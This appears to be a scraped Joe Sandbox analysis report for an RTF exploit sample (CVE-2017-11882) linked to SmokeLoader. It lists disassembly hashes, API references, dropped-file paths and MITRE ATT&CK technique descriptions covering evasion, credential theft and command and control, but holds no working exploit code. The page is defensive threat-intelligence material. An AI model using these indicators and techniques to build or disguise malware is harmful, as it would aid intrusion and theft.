Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_61000_explorer.jbxd

Similarity

API ID: File$FreeMappingOpenSleepView
String ID:
API String ID: 4205437007-0
Opcode ID: b219c8272f255adf82644705b15b3be163a192963f27b66c12c2cdeb1fe9695d
Instruction ID: e861ec5d46096bab29741ff2dd44a154c76200efb4f374e95dae1c26c01eb10d
Opcode Fuzzy Hash: b219c8272f255adf82644705b15b3be163a192963f27b66c12c2cdeb1fe9695d
Instruction Fuzzy Hash: 68517730218A089FDB59FF68D8996EA73E3EB94310F444619F45BC72A2DF78DA0587C1

Function 00061BF8 Relevance: 3.0, APIs: 2, Instructions: 40
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32 ref: 00061C0F
MapViewOfFile.KERNEL32 ref: 00061C2E

Memory Dump Source

Source File: 0000001B.00000002.628321277.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_61000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 6967ddb8a23556e9d4b9c667e167efa50793072ee7ce98a3c93afcac9569559f
Instruction ID: 3bcaf25acfd1f49024d9787d5b89c15f37bef9fb8d047487d34edab0d4ccc7e8
Opcode Fuzzy Hash: 6967ddb8a23556e9d4b9c667e167efa50793072ee7ce98a3c93afcac9569559f
Instruction Fuzzy Hash: 0FF01234314F4D4FEB45EF7C9C9C135B7E1EBA8202744857A985AC6165EF34C8458711

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\verynicebuttersmoothcakeicream[1].tiff

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{F9766609-433D-40CB-BCBF-A25F8E3EF4C7}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8B48071C-36AA-4577-B156-9C097946CDF9}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FBE20470-930D-4657-894E-45CE94F633FB}.tmp

C:\Users\user\AppData\Local\Temp\2q5zle4o.la4.psm1

Windows Analysis Report
SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre